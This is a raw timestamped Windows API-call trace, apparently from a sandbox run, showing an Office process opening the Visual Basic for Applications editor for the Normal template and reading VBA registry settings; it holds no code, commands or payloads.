[0117.489] lstrlenA (lpString="Brofaset") returned 8 [0117.489] lstrlenA (lpString="Brofaset") returned 8 [0117.489] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.490] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5690) returned 0x1 [0117.490] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0117.490] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0117.490] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.495] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0117.495] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x2764b7f1458, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0117.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f5120, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0117.495] lstrlenA (lpString="Normal") returned 6 [0117.495] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.497] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0117.497] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x2764b7f1458, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0117.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4ed0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0117.497] lstrlenA (lpString="Normal") returned 6 [0117.497] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0117.497] SysStringByteLen (bstr="潎浲污") returned 0x6 [0117.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb04288, cbMultiByte=7, lpWideCharStr=0x2764b7f1458, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0117.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4ac0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0117.497] lstrlenA (lpString="Normal") returned 6 [0117.498] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal", _SizeInBytes=0x410, _Source=" [" | out: _Destination="Microsoft Visual Basic for Applications - Normal [") returned 0x0 [0117.498] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [", _SizeInBytes=0x410, _Source="???" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???") returned 0x0 [0117.498] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [???", _SizeInBytes=0x410, _Source="]" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???]") returned 0x0 [0117.499] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5670) returned 0x1 [0117.500] GetObjectA (in: h=0x6050982, c=32, pv=0xb5690f58f0 | out: pv=0xb5690f58f0) returned 32 [0117.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=-1, lpMultiByteStr=0xb5690f5120, cbMultiByte=2305, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0117.501] lstrlenA (lpString="ThisDocument") returned 12 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5050) returned 0x1 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x4, lParam=0x2764b7a5810) returned 0x2764b78cc70 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f5ca8) returned 0x1 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x1, lParam=0x2764b78cc70) returned 0x2764b7a58d0 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f5ca8) returned 0x1 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x1, lParam=0x2764b7a58d0) returned 0x2764b793ff0 [0117.501] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f5ca8) returned 0x1 [0117.502] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x1, lParam=0x2764b793ff0) returned 0x0 [0117.502] wcsncpy_s (in: _Destination=0xb5690f5970, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0117.502] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0117.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f58a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0117.502] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0117.502] malloc (_Size=0xa8) returned 0x2764997ea50 [0117.502] malloc (_Size=0xa8) returned 0x2764997eb00 [0117.512] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f58b0) returned 0x1 [0117.512] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x3, lParam=0x2764b786af0) returned 0x2764b7a5810 [0117.512] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f5a00) returned 0x1 [0117.512] LoadStringA (in: hInstance=0x276498e0000, uID=0x845, lpBuffer=0xb5690f5720, cchBufferMax=521 | out: lpBuffer="??? ") returned 0x4 [0117.513] lstrcpynA (in: lpString1=0xb5690f5610, lpString2="Normal", iMaxLength=260 | out: lpString1="Normal") returned="Normal" [0117.513] strncat_s (in: _Destination="??? ", _SizeInBytes=0x209, _Source="Normal", _MaxCount=0x28 | out: _Destination="??? Normal") returned 0x0 [0117.513] lstrlenA (lpString="Normal") returned 6 [0117.513] SendMessageA (hWnd=0x2036e, Msg=0x110d, wParam=0x0, lParam=0xb5690f5530) returned 0x1 [0117.513] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x4, lParam=0x2764b7a5b10) returned 0x2764b7a5bd0 [0117.513] SendMessageA (hWnd=0x2036e, Msg=0x110c, wParam=0x0, lParam=0xb5690f5ca8) returned 0x1 [0117.513] SendMessageA (hWnd=0x2036e, Msg=0x110a, wParam=0x1, lParam=0x2764b7a5bd0) returned 0x0 [0117.514] SendMessageA (hWnd=0x2036e, Msg=0x110b, wParam=0x9, lParam=0x2764b7a5b10) returned 0x1 [0117.517] lstrcpyA (in: lpString1=0xb5690f5ab0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0117.517] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0117.517] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0117.517] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5c40 | out: phkResult=0xb5690f5c40*=0x1310) returned 0x0 [0117.517] RegQueryValueExA (in: hKey=0x1310, lpValueName="Tool", lpReserved=0x0, lpType=0xb5690f5c98, lpData=0x0, lpcbData=0xb5690f5c90*=0x0 | out: lpType=0xb5690f5c98*=0x0, lpData=0x0, lpcbData=0xb5690f5c90*=0x0) returned 0x2 [0117.517] RegCloseKey (hKey=0x1310) returned 0x0 [0117.517] malloc (_Size=0x1c0) returned 0x2764997ebb0 [0117.518] qsort (in: _Base=0x2764997ebb0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9be0807c4 | out: _Base=0x2764997ebb0) [0117.518] _msize (_Block=0x2764997ebb0) returned 0x1c0 [0117.518] realloc (_Block=0x2764997ebb0, _Size=0x0) returned 0x0 [0117.518] RegisterClipboardFormatA (lpszFormat="CLSID") returned 0xc20b [0117.518] RegisterClipboardFormatA (lpszFormat="DesignerToolboxItem") returned 0xc20c [0117.518] RegisterClipboardFormatA (lpszFormat="ClsdIdClassName") returned 0xc20d [0117.518] CoCreateGuid (in: pguid=0x7ff9be2069c0 | out: pguid=0x7ff9be2069c0*(Data1=0xfbf607c2, Data2=0xc72c, Data3=0x4a6a, Data4=([0]=0x9c, [1]=0xdb, [2]=0x7c, [3]=0xf0, [4]=0x28, [5]=0x5e, [6]=0x39, [7]=0xf9))) returned 0x0 [0117.519] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0117.519] RegisterClassA (lpWndClass=0xb5690f5d30) returned 0xc20e [0117.519] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c2) returned 1 [0117.519] GetDialogBaseUnits () returned 1048584 [0117.519] GetSystemMetrics (nIndex=46) returned 2 [0117.519] LoadBitmapA (hInstance=0x7ff9bde20000, lpBitmapName=0x406) returned 0x20050394 [0117.519] GetObjectA (in: h=0x20050394, c=32, pv=0xb5690f5d10 | out: pv=0xb5690f5d10) returned 32 [0117.519] DeleteObject (ho=0x20050394) returned 1 [0117.519] CreateWindowExA (dwExStyle=0x10, lpClassName="ToolsPalette", lpWindowName=0x0, dwStyle=0x44000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x2036c [0117.520] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x81, wParam=0x0, lParam=0xb5690f5630) returned 0x1 [0117.520] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x83, wParam=0x0, lParam=0xb5690f5690) returned 0x0 [0117.520] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x1, wParam=0x0, lParam=0xb5690f5630) returned 0x0 [0117.521] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0117.521] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0117.521] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c3) returned 1 [0117.521] malloc (_Size=0xa0) returned 0x2764997ebb0 [0117.521] RegisterClassA (lpWndClass=0xb5690f5cb0) returned 0xc20f [0117.521] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c4) returned 1 [0117.521] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0117.521] RegisterClassA (lpWndClass=0xb5690f5cb0) returned 0xc210 [0117.521] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c5) returned 1 [0117.522] GetDC (hWnd=0x0) returned 0x2010471 [0117.522] SelectObject (hdc=0x2010471, h=0x30a097f) returned 0x8a01c2 [0117.522] GetTextExtentPointA (in: hdc=0x2010471, lpString="0", c=1, lpsz=0xb5690f5c40 | out: lpsz=0xb5690f5c40) returned 1 [0117.534] ReleaseDC (hWnd=0x0, hDC=0x2010471) returned 1 [0117.534] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc20f, lpWindowName="?????", dwStyle=0x46000000, X=0, Y=0, nWidth=180, nHeight=67, hWndParent=0x401c0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20368 [0117.535] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c6) returned 1 [0117.535] malloc (_Size=0xa0) returned 0x2764997ec60 [0117.536] MonitorFromWindow (hwnd=0xf01b6, dwFlags=0x2) returned 0x10001 [0117.536] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f5d38 | out: lpmi=0xb5690f5d38) returned 1 [0117.536] SetThreadDpiAwarenessContext () returned 0x80000011 [0117.536] CreateWindowExA (dwExStyle=0x80, lpClassName=0xc210, lpWindowName="?????", dwStyle=0x82ce0000, X=4, Y=24, nWidth=180, nHeight=720, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x2022c [0117.536] SendMessageA (hWnd=0x20368, Msg=0x24, wParam=0x0, lParam=0xb5690f5600) returned 0x0 [0117.538] malloc (_Size=0x40) returned 0x276527c0870 [0117.539] IsIconic (hWnd=0x2022c) returned 0 [0117.539] IsZoomed (hWnd=0x2022c) returned 0 [0117.539] GetWindowRect (in: hWnd=0x2022c, lpRect=0x7ff9be206990 | out: lpRect=0x7ff9be206990) returned 1 [0117.539] IsIconic (hWnd=0x2022c) returned 0 [0117.539] IsZoomed (hWnd=0x2022c) returned 0 [0117.539] GetWindowRect (in: hWnd=0x2022c, lpRect=0x7ff9be206990 | out: lpRect=0x7ff9be206990) returned 1 [0117.539] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c7) returned 1 [0117.539] SetThreadDpiAwarenessContext () returned 0x11 [0117.539] SetThreadDpiAwarenessContext () returned 0x80000011 [0117.539] lstrcpyA (in: lpString1=0xb5690f5950, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0117.539] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0117.539] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0117.539] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5ae8 | out: phkResult=0xb5690f5ae8*=0x1310) returned 0x0 [0117.540] LoadStringA (in: hInstance=0x276498e0000, uID=0x823, lpBuffer=0xb5690f5af0, cchBufferMax=40 | out: lpBuffer="PropertiesWindow") returned 0x10 [0117.540] RegQueryValueExA (in: hKey=0x1310, lpValueName="PropertiesWindow", lpReserved=0x0, lpType=0x0, lpData=0xb5690f5bb0, lpcbData=0xb5690f5ae0*=0x1e | out: lpType=0x0, lpData=0xb5690f5bb0*=0x0, lpcbData=0xb5690f5ae0*=0x1e) returned 0x2 [0117.540] RegCloseKey (hKey=0x1310) returned 0x0 [0117.540] lstrcpyA (in: lpString1=0xb5690f5bb0, lpString2="" | out: lpString1="") returned="" [0117.540] lstrlenA (lpString="") returned 0 [0117.540] MonitorFromWindow (hwnd=0x2022c, dwFlags=0x2) returned 0x10001 [0117.540] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f5af8 | out: lpmi=0xb5690f5af8) returned 1 [0117.540] SetThreadDpiAwarenessContext () returned 0x10 [0117.540] CreateWindowExA (dwExStyle=0x200, lpClassName="ComboBox", lpWindowName="?????", dwStyle=0x50a00313, X=0, Y=3, nWidth=179, nHeight=17, hWndParent=0x20368, hMenu=0x1000, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x2022e [0117.576] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001c8) returned 1 [0117.576] SendMessageA (hWnd=0x2022e, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x1 [0117.576] CreateWindowExA (dwExStyle=0x0, lpClassName="SysTabControl32", lpWindowName="?????", dwStyle=0x54001000, X=0, Y=23, nWidth=179, nHeight=0, hWndParent=0x20368, hMenu=0x1001, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20226 [0117.582] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001cc) returned 1 [0117.582] SendMessageA (hWnd=0x20226, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x0 [0117.582] CreateWindowExA (dwExStyle=0x200, lpClassName="ListBox", lpWindowName="?????", dwStyle=0x54a10513, X=0, Y=0, nWidth=1, nHeight=30, hWndParent=0x20368, hMenu=0x1002, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20224 [0117.591] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001ce) returned 1 [0117.591] SendMessageA (hWnd=0x20224, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x0 [0117.591] CreateWindowExA (dwExStyle=0x0, lpClassName="Button", lpWindowName="?????", dwStyle=0x4000000b, X=0, Y=0, nWidth=16, nHeight=15, hWndParent=0x20368, hMenu=0x1003, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x201ca [0117.595] malloc (_Size=0x1c0) returned 0x2764997ed10 [0117.595] qsort (in: _Base=0x2764997ed10, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9be0807c4 | out: _Base=0x2764997ed10) [0117.595] _msize (_Block=0x2764997ed10) returned 0x1c0 [0117.595] realloc (_Block=0x2764997ed10, _Size=0x0) returned 0x0 [0117.595] CreateSolidBrush (color=0xf0f0f0) returned 0x9100983 [0117.670] NtdllDefWindowProc_A (hWnd=0x2036c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0117.672] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001d0) returned 1 [0117.672] CreateWindowExA (dwExStyle=0x0, lpClassName="Edit", lpWindowName="?????", dwStyle=0x40000080, X=0, Y=0, nWidth=0, nHeight=15, hWndParent=0x20368, hMenu=0x1004, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x2019e [0117.676] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001d2) returned 1 [0117.676] SendMessageA (hWnd=0x2019e, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x1 [0117.931] CreateWindowExA (dwExStyle=0x80, lpClassName="ListBox", lpWindowName="?????", dwStyle=0x44a00003, X=0, Y=0, nWidth=0, nHeight=15, hWndParent=0x20368, hMenu=0x1005, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x201a0 [0117.940] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001d4) returned 1 [0117.940] SendMessageA (hWnd=0x201a0, Msg=0x30, wParam=0x30a097f, lParam=0x0) returned 0x0 [0117.941] GetComboBoxInfo (in: hwndCombo=0x2022e, pcbi=0xb5690f5bd0 | out: pcbi=0xb5690f5bd0) returned 1 [0117.941] InheritWindowMonitor () returned 0x1 [0117.942] InheritWindowMonitor () returned 0x1 [0117.942] SetWindowLongA (hWnd=0x201a0, nIndex=-12, dwNewLong=0) returned 4101 [0117.942] SetParent (hWndChild=0x201a0, hWndNewParent=0x0) returned 0x20368 [0117.944] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned 1149239299 [0117.944] SetWindowLongA (hWnd=0x201a0, nIndex=-16, dwNewLong=-2071986173) returned 1149239299 [0117.944] SendMessageA (hWnd=0x2019e, Msg=0xd3, wParam=0x1, lParam=0x0) returned 0x0 [0117.944] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-4) returned 0xffff022d [0117.944] SetWindowLongPtrA (hWnd=0x201a0, nIndex=-4, dwNewLong=0x7ff9bde2efa0) returned 0xffff022d [0117.944] SetWindowLongPtrA (hWnd=0x20224, nIndex=-4, dwNewLong=0x7ff9bde2fc30) returned 0xffff022d [0117.944] GetWindowLongPtrA (hWnd=0x2022e, nIndex=-4) returned 0xffff0217 [0117.944] SetWindowLongPtrA (hWnd=0x2022e, nIndex=-4, dwNewLong=0x7ff9bde30f64) returned 0xffff0217 [0117.944] SendMessageA (hWnd=0x2022e, Msg=0x143, wParam=0x0, lParam=0x7ff9be1c2610) returned 0x0 [0117.953] SendMessageA (hWnd=0x2022e, Msg=0x143, wParam=0x0, lParam=0x7ff9be1c2610) returned 0x0 [0117.964] SendMessageA (hWnd=0x2022e, Msg=0x100, wParam=0x28, lParam=0xc9500001) returned 0x0 [0117.965] SendMessageA (hWnd=0x2022e, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x0 [0117.965] SendMessageA (hWnd=0x2022e, Msg=0x14b, wParam=0x0, lParam=0x0) returned 0x1 [0117.966] LoadStringA (in: hInstance=0x276498e0000, uID=0x351b, lpBuffer=0xb5690f52b0, cchBufferMax=1024 | out: lpBuffer="??????") returned 0x6 [0117.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f5780, cbMultiByte=-1, lpWideCharStr=0x2764b7f1458, cchWideChar=7 | out: lpWideCharStr="??????") returned 7 [0117.966] CoCreateInstance (in: rclsid=0x7ff9be1e05c8*(Data1=0xb5f8350b, Data2=0x548, Data3=0x48b1, Data4=([0]=0xa6, [1]=0xee, [2]=0x88, [3]=0xbd, [4]=0x0, [5]=0xb4, [6]=0xa5, [7]=0xe7)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7ff9be1e05b8*(Data1=0x6e26e776, Data2=0x4f0, Data3=0x495d, Data4=([0]=0x80, [1]=0xe4, [2]=0x33, [3]=0x30, [4]=0x35, [5]=0x2e, [6]=0x31, [7]=0x69)), ppv=0xb5690f5b48 | out: ppv=0xb5690f5b48*=0x2764b9db840) returned 0x0 [0117.968] CAccPropServices:IAccPropServices:SetHwndProp (This=0x2764b9db840, hwnd=0x2022e, idObject=0xfffffffc, idChild=0x0, idProp=0xb5690f5b50, var=0xb5690f5b60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="??????", varVal2=0x0)) returned 0x0 [0117.972] CAccPropServices:IUnknown:Release (This=0x2764b9db840) returned 0x0 [0117.972] GetWindowLongPtrA (hWnd=0x2019e, nIndex=-4) returned 0xffff0249 [0117.972] SetWindowLongPtrA (hWnd=0x2019e, nIndex=-4, dwNewLong=0x7ff9bde306f8) returned 0xffff0249 [0117.972] GetWindowLongPtrA (hWnd=0x201ca, nIndex=-4) returned 0xffff0247 [0117.972] SetWindowLongPtrA (hWnd=0x201ca, nIndex=-4, dwNewLong=0x7ff9bde34a60) returned 0xffff0247 [0117.972] GetWindowLongPtrA (hWnd=0x20226, nIndex=-4) returned 0xffff0075 [0117.972] SetWindowLongPtrA (hWnd=0x20226, nIndex=-4, dwNewLong=0x7ff9bde34098) returned 0xffff0075 [0117.972] SendMessageA (hWnd=0x20226, Msg=0x1307, wParam=0x0, lParam=0xb5690f5d00) returned 0x0 [0117.973] SendMessageA (hWnd=0x20226, Msg=0x1307, wParam=0x1, lParam=0xb5690f5d00) returned 0x1 [0117.973] SendMessageA (hWnd=0x20226, Msg=0x1328, wParam=0x0, lParam=0xb5690f5d28) returned 0x0 [0117.974] GetDC (hWnd=0x20224) returned 0x14010907 [0117.974] lstrlenA (lpString="Object.") returned 7 [0117.974] GetTextExtentPointA (in: hdc=0x14010907, lpString="Object.", c=7, lpsz=0xb5690f5ca0 | out: lpsz=0xb5690f5ca0) returned 1 [0118.042] ReleaseDC (hWnd=0x20224, hDC=0x14010907) returned 1 [0118.042] malloc (_Size=0x6a8) returned 0x276527c2140 [0118.042] lstrcpyA (in: lpString1=0xb5690f5870, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0118.042] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0118.042] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0118.042] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", phkResult=0xb5690f5a00 | out: phkResult=0xb5690f5a00*=0x14c4) returned 0x0 [0118.042] RegQueryValueExA (in: hKey=0x14c4, lpValueName="UI", lpReserved=0x0, lpType=0xb5690f5a58, lpData=0x0, lpcbData=0xb5690f5a50*=0x0 | out: lpType=0xb5690f5a58*=0x0, lpData=0x0, lpcbData=0xb5690f5a50*=0x0) returned 0x2 [0118.043] RegCloseKey (hKey=0x14c4) returned 0x0 [0118.057] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5890 | out: lpRect=0xb5690f5890) returned 1 [0118.061] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5890 | out: lpRect=0xb5690f5890) returned 1 [0118.062] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x600) returned 0x2764ba2bdd0 [0118.129] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba2bdd0) [0118.308] malloc (_Size=0x2d8) returned 0x276527c27f0 [0118.325] IsIconic (hWnd=0x401c0) returned 0 [0118.325] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5890 | out: lpRect=0xb5690f5890) returned 1 [0118.329] IsIconic (hWnd=0x401c0) returned 0 [0118.329] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5740 | out: lpRect=0xb5690f5740) returned 1 [0118.686] IsIconic (hWnd=0x401c0) returned 0 [0118.686] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5420 | out: lpRect=0xb5690f5420) returned 1 [0118.686] IsIconic (hWnd=0x401c0) returned 0 [0118.686] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5420 | out: lpRect=0xb5690f5420) returned 1 [0118.692] SelectObject (hdc=0xb010910, h=0x80a0984) returned 0x8a01c2 [0118.692] GetTextExtentPoint32A (in: hdc=0xb010910, lpString="000000 x 000000", c=15, psizl=0xb5690f5588 | out: psizl=0xb5690f5588) returned 1 [0118.876] IsIconic (hWnd=0x401c0) returned 0 [0118.876] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f5420 | out: lpRect=0xb5690f5420) returned 1 [0118.883] IsIconic (hWnd=0x401c0) returned 0 [0118.883] GetClientRect (in: hWnd=0x401c0, lpRect=0xb5690f56e0 | out: lpRect=0xb5690f56e0) returned 1 [0118.901] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5890 | out: lpRect=0xb5690f5890) returned 1 [0118.904] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5740 | out: lpRect=0xb5690f5740) returned 1 [0118.907] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5420 | out: lpRect=0xb5690f5420) returned 1 [0118.907] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5420 | out: lpRect=0xb5690f5420) returned 1 [0118.909] IsWindow (hWnd=0x20378) returned 1 [0118.909] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f5700 | out: lpRect=0xb5690f5700) returned 1 [0118.909] GetSystemMetrics (nIndex=2) returned 17 [0118.909] MoveWindow (hWnd=0x2036e, X=-1, Y=27, nWidth=102, nHeight=74, bRepaint=1) returned 1 [0118.918] GetClientRect (in: hWnd=0x20378, lpRect=0xb5690f56e0 | out: lpRect=0xb5690f56e0) returned 1 [0118.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f54d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0118.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f54d0, cbMultiByte=-1, lpWideCharStr=0x276527c0600, cchWideChar=257 | out: lpWideCharStr="100%") returned 5 [0118.951] malloc (_Size=0xa0) returned 0x276527c2e90 [0118.951] malloc (_Size=0xa0) returned 0x276527c34c0 [0118.951] malloc (_Size=0xa0) returned 0x276527c3200 [0118.951] malloc (_Size=0xa0) returned 0x276527c32b0 [0118.951] lstrcpyA (in: lpString1=0xb5690f5be0, lpString2="Software\\Microsoft\\VBA" | out: lpString1="Software\\Microsoft\\VBA") returned="Software\\Microsoft\\VBA" [0118.951] lstrcatA (in: lpString1="Software\\Microsoft\\VBA", lpString2="\\" | out: lpString1="Software\\Microsoft\\VBA\\") returned="Software\\Microsoft\\VBA\\" [0118.951] lstrcatA (in: lpString1="Software\\Microsoft\\VBA\\", lpString2="7.1\\Common" | out: lpString1="Software\\Microsoft\\VBA\\7.1\\Common") returned="Software\\Microsoft\\VBA\\7.1\\Common" [0118.951] 